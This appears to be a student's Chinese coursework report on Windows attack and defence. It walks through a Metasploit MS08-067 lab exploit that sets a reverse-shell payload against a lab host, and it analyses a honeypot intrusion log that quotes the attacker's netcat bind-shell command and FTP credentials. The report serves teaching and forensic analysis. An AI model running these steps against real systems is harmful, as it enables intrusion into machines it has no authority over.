20211908 孟向前 2021-2022-2 《网络攻防实践》第六周作业

实践六 Windows操作系统安全攻防

1、实践内容
Windows安全体系结构
Windows操作系统的安全设计目标是采用一致的、健壮的、基于对象的安全模型,支持一台机器上多个用户之间安全地共享进程、内存、设备、文件及网络等各种类型的系统资源,来满足商业用户的安全需求,NT 5.x内核的Windows 2000操作系统曾通过了CC安全评估标准的EVAL4级别,达到了普通商业应用的要求。
Windows操作系统基于引用监控器模型(Reference Monitor)来实现基本的对象安全模型。引用监控器模型是安全操作系统设计的一种经典模型,如图7-6所示系统中所有主体对客体的访问都通过引用监控器作为中介,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录也都由引用监控器生成审计日志。

Windows 远程安全攻防技术
在攻击者获得Windows系统上的访问立足点之前,他们首先需要通过一些远程攻击技术,来进入到Windows系统中,目前Windows远程攻击技术可以分为以下几大类:
远程口令猜测与破解攻击:远程渗透攻击 Windows系统最简单的方法仍然是猜测或破解出系统的登录口令,从 Windows操作系统诞生以来一直存在的口令暴力破解、基于字典的猜测以及中间人身份认证欺骗攻击技术,仍对现在的 Windows网络构成现实的威胁。
攻击Windows网络服务:无论Windows自身独有的SMB、MSRPC、NETBIOS等网络服务,还是 IIS、MS SQL等各种互联网服务在 Windows系统上的具体服务实例,都不可避免地存在着可导致远程代码执行的高危性安全漏洞,攻击者也一直在利用这些漏洞来对Windows网络服务实施远程渗透攻击,从而得到Windows系统的访问权。
攻击Windows客户端及用户:最近几年来在微软公司Windows XP/Vista/Windows 7等操作系统的开发过程中,都应用了SDL安全软件开发生命周期,从而有效地提升了Windows系统及本身服务的安全性,同时引入了DEP数据执行保护、ASLR地址空间布局随机化机制、UAC用户账户控制等安全特性,这都使得攻击者越来越难以利用传统的攻击渠道来远程攻陷Windows系统。在这种背景下,针对Web浏览器、第三方应用软件的客户端渗透攻击变得非常流行,此外,攻击者还会结合社会工程学技巧诱骗终端用户来帮助他们执行伪装目的的恶意代码或流氓软件。

Metasploit 软件采用开发框架和模块组件的可扩展模型,软件结构如图7-16所示,以Ruby 语言编写的 Metasploit Framework (MSF)库作为整个软件的基础核心,为渗透测试组件的开发与测试提供平台;模块组件是真正实施渗透攻击的代码,包括利用安全漏洞的Exploits模块,进行扫描、查点等其他辅助任务的 Auxiliary模块,在目标系统上植入和运行的Shellcode攻击负载Payloads模块,对攻击负载进行编码以躲避检测的 Encoders模块,以及对攻击负载进行填充的Nops模块:Metasploit 提供多种用户接口,包括 Console交互终端、命令行程序运行、Web交互界面以及GUI图形化界面;Metasploit还提供了API接口及插件支持,来支持第三方在MSF 基础上开发扩展模块,比如自动化的渗透测试例程等等。截至2010年底 Metasploit 发布的v3.5.1版本,Metasploit软件已经集成了635个渗透攻击模块、314个辅助攻击模块、215种不同类型的攻击负载。作为一款开源的安全软件,在安全渗透测试、渗透攻击研究与漏洞研究等各个方面起到了不容忽视的作用,并为漏洞自动化探测和及时检测系统漏洞提供了有力的保障。目前Metasploit已经由Rapid7安全公司提供商业版本,但 Metasploit框架仍以开源方式由 Metasploit Project进行开发与维护。

Metasploit 软件提供了CLI、Console、Web和 GUI 四种不同的用户交互接口,其中
Console终端是比较常用的方式,可以在终端中输入 help 命令令来查询所支持的各种命令,主要命令及其功能描述如表7-4所示。

Windows远程口令猜测与破解攻击
·远程口令字猜测
Windows通过基于服务器消息块(Server Message Block,SMB)协议承载的文件与打印共享服务来为网络用户提供远程访问文件系统和打印机的支持,而SMB协议也成为了攻击者实施Windows远程口令字猜测的传统攻击渠道。其他经常遭受远程口令字猜测攻击的Windows网络服务还包括 WMI 服务、TS远程桌面终端服务、MS SQL 数据库服务、SharePoint等使用 Windows身份认证机制的Web应用服务。
·远程口令字交换通信窃听与破解
第二种实施远程口令字攻击的经典技术是窃听网络上的口令字交换通信实施破解。我们在介绍Windows 的网络身份认证机制时已经提到,Windows系统在对网络用户进行身份认证时,需要在网络上交换信息,来确认网络用户是否拥有预先设置的口令字秘密信息。Windows 的不同版本在进行网络身份认证时,使用了LanMan、NTLM和Kerberos这三种认证协议。
·远程口令猜测与破解防范措施
应对远程口令猜测与破解这种古老但仍然流行的攻击方式,最根本的防御措施仍然是通过安全培训与教育来让网络中每个用户都能够设置较高安全强度的口令,然而由于涉及人的因素,在安全需求与制度不完善的环境中,这条看似简单的基本措施却往往难以达到。此外,从技术方面,网络系统管理员还可以实施相应措施,从而降低由于网络中用户设置过于简单的口令所带来的安全风险。

Windows网络服务远程渗透攻击
远程桌面终端服务运行于TCP 3389端口,只提供了图形化的用户口令登录接口,因此猜测终端服务的口令比较复杂一些,但目前也已经有了相当多的自动化终端服务口令猜测工具,如TSGrinder、 Brutik, Fast RDP Brute、DUBrute等。对于运行于TCP 1433和 UDP 1434端口的MS SQL Server,可以使用sqlbf、Auto-SQL等工具进行口令猜测破解。THC公司的Hydra、Brutus等工具则可以支持对基于HTTP或HTTPS协议的SharePoint等服务的口令猜测。

2、实践过程
(1)动手实践Metasploit windows attacker
任务:使用metasploit软件进行windows远程渗透统计实验
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权

使用Kali攻击机尝试对Windows2000靶机上的ms08_067漏洞进行远程渗透攻击,获取目标主机的访问权。
攻击机:Kali,IP:192.168.200.4
靶机:Windows2000,IP192.168.200.124

1、首先用kali来ping一下靶机,查看网络是否畅通(打开蜜网网关)。

2、打开kali,用管理员权限输入命令msfconsole进入启动msfconsole

3、输入命令行search ms08_067查看漏洞ms08_067详细信息。

4、输入命令行use windows/smb/ms08_067_netapi进入漏洞所在文件。

5、输入命令行show options查看攻击此漏洞需要的设置。

6、输入命令行show payloads显示此漏洞的载荷。

7、选择第三个载荷进行攻击。

8、输入命令行set payload generic/shell_reverse_tcp设置载荷;
输入命令行set RHOST 192.168.200.124设置要攻击主机;
输入命令行set LHOST 192.168.200.4设置本机;

9、输入命令行exploit/run进行攻击,出现会话连接即攻击成功。

10、回车即可进入受害靶机的shell,输入命令行ipconfig/all查看靶机的IP,攻击成功。

11、打开Wireshark查看抓包情况。

12、从Wireshark抓包中可见:源地址为192.168.200.4,源端口为44987;目的地址为192.168.200.124,目的端口为445,攻击发起的时间从ARP协议的询问开始。

13、浏览Wireshark抓包情况可知攻击利用的漏洞有:
针对SMB网络服务的漏洞
DCERPC解析器拒绝服务漏洞
SPOOLSS打印服务假冒漏洞

14、查看Wireshark抓包的TCP流,可以看到靶机中输入的命令行被抓取

(2)取证分析实践:解码一次成功的NT系统破解攻击。
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。

攻击者使用了什么破解工具进行攻击
在云班课下载log文件。

进入文件所在目录,在kali中输入snort -r snort0204@0117.log -c /etc/snort/snort.conf -K ascii,可以看出tcp流量占了多数。

输入snort -A console -q -u snort -c /etc/snort/snort.conf -r snort-0204@0117.log,从图中可以看到WEB-IIS msadcs.dll这个连接在一块词十分显眼。
IIS全称Internet Information Service,中文名:Internet信息服务,专用于微软操作系统平台,兼容微软的各项Web技术。而.dll动态库文件,一直是windows漏洞的重灾区。

接下来利用wireshark打开文件,其中msadcs显得有点眼熟,应该和之前的攻击有所联系。

输入ip.addr == 172.16.1.106 and http

跟踪一个数据包的TCP数据流,找到特殊字符%C0%AF,说明Unicode字符解码中存在Unicode解析错误漏洞。

可确定存在Unicode漏洞攻击。继续跟踪数据流,找到msadcs.dll查看其数据流,发现有shell语句和!adm的关键字符,可知这是RDS漏洞。

攻击者如何使用这个破解工具进入并控制了系统
在wireshark中输入ftp发现,直到1106编号才输入了正确的密码(用户名johna2k,密码haxedj00下载 nc.exe、pdump.exe和samdump.dll。)并且对ftp流进行追踪。

追踪到 1224 号数据包,有这样一条命令:cmd1.exe /c nc -l -p 6969 -e cmd1.exe。表示攻击者连接了6969端口,并且获得了访问权限:

攻击者获得系统访问权限后做了什么
输入tcp.port == 6969筛选一下,再追踪一下TCP流。

可以发现攻击者输入了一些指令,进行一些常规操作,如cd,dir,ls,type,查询用户组net users等等。

我们如何防止这样的攻击
目前Windows系统是相对脆弱的,系统应该及时升级和更新;系统自身的口令应是强口令,这样可以增大破解口令难度; 定期扫描自身的主机,查看是否存在漏洞等危险;禁用不安全的服务端口,安装腾讯电脑管家、360安全卫士等软件对系统漏洞、木马等进行监控和扫描;定期进行安全检测,及时打补丁,修复漏洞。

你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
追踪tcp流的过程中攻击者输入C:>echo best honeypot i've seen till now 😃 > rfp.txt,可以看出攻击者已经察觉到了这是一台蜜罐主机。

(3)团队对抗实践:windows系统远程渗透攻击和分析。

攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。

攻击方:Kali(192.168.200.4)
防御方:Windows(192.168.200.124)

1、攻击过程按照实践(1)的步骤,攻击的漏洞依然采用ms08_067漏洞。

2、打开kali自带的wireshark,监控流量。

3、从图中可以发现源地址为192.168.200.4,目的地址为192.168.200.124,结合图中的arp协议,可以发现是192.168.200.124将192.168.200.4的ip和mac地址对应起来,因此192.168.200.4是攻击方。图中显示端口号,从攻击机35931端口到靶机445端口。攻击时间就是从第一次arp询问后开始的。

4、攻击的漏洞:主要为SMB协议漏洞(Microsoft网络的通讯协议),可以看出攻击者利用的SMB的漏洞。首先客户端发送一个SMB Negotiate Protocol Request请求数据报,并列出它所支持的所有SMB协议版本。然后客户端回应,支持的SMB协议版本。

3.学习中遇到的问题及解决
问题:对于许多漏洞的特点等不是很了解。
解决:查阅各种资料及相关网站进行学习。

4.学习感想和体会
通过本次实验,学习了Metasploit工具的使用,对Windows系统的安全和攻防有了更进一步的理解。工具和命令使用感觉还不够熟练,需要多练习,多查资料。

参考文献
网络攻防技术与实践 -诸葛建伟

posted on 2022-04-20 11:11  仰望星空dream  阅读(49)  评论(0编辑  收藏  举报